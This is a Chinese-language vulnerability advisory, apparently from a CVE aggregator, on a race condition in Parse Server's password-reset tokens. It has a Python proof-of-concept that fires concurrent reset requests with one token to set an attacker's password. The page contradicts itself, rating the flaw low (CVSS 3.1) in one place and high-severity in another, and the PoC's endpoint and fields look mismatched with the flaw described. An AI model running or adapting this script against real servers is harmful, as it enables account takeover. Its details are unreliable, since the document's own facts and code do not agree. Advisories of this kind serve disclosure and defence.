IPBUF安全漏洞报告
English
CVE-2026-32943 CVSS 3.1 低危

CVE-2026-32943 Parse Server密码重置令牌竞态条件漏洞

披露日期: 2026-03-18

漏洞信息

漏洞编号
CVE-2026-32943
漏洞类型
竞态条件
CVSS评分
3.1 低危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Parse Server

相关标签

竞态条件密码重置Parse Server令牌安全账户接管Node.js后端服务

漏洞概述

CVE-2026-32943是Parse Server中的一个高危安全漏洞,存在于密码重置机制中。该漏洞允许攻击者利用密码重置令牌的竞态条件,在短时间内通过多个并发请求使用同一令牌进行密码重置操作。Parse Server是一个开源后端服务,可部署在任何可运行Node.js的基础设施上。在漏洞影响的版本中(9.6.0-alpha.28和8.6.48之前),密码重置令牌的消费过程缺乏原子性验证,导致同一令牌可被多次使用。当用户发起密码重置请求时,生成的令牌在短时间内可以被多个并发请求消费。攻击者若能拦截或预测密码重置令牌,即可通过与合法用户同时发起密码重置请求,在竞争中使两个请求都成功。这会导致合法用户认为密码已成功更改,但实际上攻击者的密码已经生效,从而实现对用户账户的非法接管。所有使用Parse Server密码重置功能的应用都可能受到此漏洞影响。

技术细节

该漏洞的根本原因在于密码重置令牌的验证和消费过程缺乏原子性操作。在受影响版本中,Parse Server的密码重置流程存在以下问题:1) 令牌生成后,在短时间内可被多次使用而未被标记为已消费;2) 令牌的验证和密码更新操作之间存在时间窗口,允许多个并发请求通过验证;3) 数据库更新操作未将令牌作为必要条件进行原子性检查。攻击者利用此漏洞的方式:攻击者首先通过某种方式获取目标用户的密码重置令牌(例如通过中间人攻击、社会工程学或预测令牌),然后同时发起多个密码重置请求。由于令牌验证和密码更新之间缺乏原子性操作,多个请求都可能通过验证,最终导致密码被多次设置。修复方案在版本9.6.0-alpha.28和8.6.48中实现:密码重置令牌的验证和消费现在作为密码更新操作的一部分进行原子性处理,数据库查询在更新密码时将令牌作为条件包含在内,确保只有一个并发请求能够成功消费令牌,后续使用相同令牌的请求将因令牌已被清除而失败。

攻击链分析

STEP 1
步骤1
攻击者获取目标用户的密码重置令牌,可通过中间人攻击、网络嗅探或预测/猜测令牌实现
STEP 2
步骤2
攻击者监控或诱使合法用户发起密码重置请求
STEP 3
步骤3
攻击者立即发起多个并发的密码重置请求,使用相同的令牌和攻击者选择的密码
STEP 4
步骤4
由于令牌验证和密码更新之间存在竞态窗口,多个请求可能同时通过验证
STEP 5
步骤5
攻击者的密码重置请求与合法用户的请求产生竞争,最终攻击者的密码被设置到账户
STEP 6
步骤6
合法用户收到密码重置成功的通知,但账户已被攻击者控制,攻击者可直接登录

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-32943 PoC - Race Condition in Parse Server Password Reset # This PoC demonstrates how multiple concurrent requests can use the same reset token import requests import concurrent.futures import argparse def reset_password(base_url, token, new_password): """ Attempt to reset password using the reset token """ url = f"{base_url}/requestPasswordReset" data = { "token": token, "new_password": new_password } try: response = requests.post(url, json=data, timeout=10) return { "status_code": response.status_code, "response": response.text, "success": response.status_code == 200 } except Exception as e: return {"error": str(e), "success": False} def exploit_race_condition(base_url, token, attacker_password, num_threads=10): """ Send multiple concurrent password reset requests using the same token This exploits the race condition to set the password to the attacker's value """ print(f"[*] Starting race condition attack with {num_threads} concurrent requests...") print(f"[*] Target: {base_url}") print(f"[*] Token: {token}") with concurrent.futures.ThreadPoolExecutor(max_workers=num_threads) as executor: futures = [ executor.submit(reset_password, base_url, token, attacker_password) for _ in range(num_threads) ] results = [f.result() for f in concurrent.futures.as_completed(futures)] successful = [r for r in results if r.get("success")] print(f"[*] Completed {len(results)} requests") print(f"[*] Successful requests: {len(successful)}") if len(successful) > 1: print("[!] VULNERABLE: Multiple requests succeeded with the same token!") print("[!] The attacker may have successfully set their password") else: print("[*] Patch appears to be applied - only one request succeeded") return results if __name__ == "__main__": parser = argparse.ArgumentParser(description="CVE-2026-32943 PoC") parser.add_argument("--url", required=True, help="Parse Server base URL") parser.add_argument("--token", required=True, help="Password reset token") parser.add_argument("--password", default="AttackerP@ss123!", help="Attacker's chosen password") parser.add_argument("--threads", type=int, default=10, help="Number of concurrent threads") args = parser.parse_args() exploit_race_condition(args.url, args.token, args.password, args.threads)

影响范围

Parse Server < 8.6.48
Parse Server < 9.6.0-alpha.28

防御指南

临时缓解措施
暂时没有已知的变通方法可以完全缓解此漏洞。建议立即升级到Parse Server 8.6.48或9.6.0-alpha.28及以上版本。如果无法立即升级,应暂时禁用密码重置功能,并使用其他认证机制如OAuth或第三方身份提供商。同时,确保所有通信使用HTTPS加密,并在网络层面实施监控以检测异常的并发密码重置请求模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表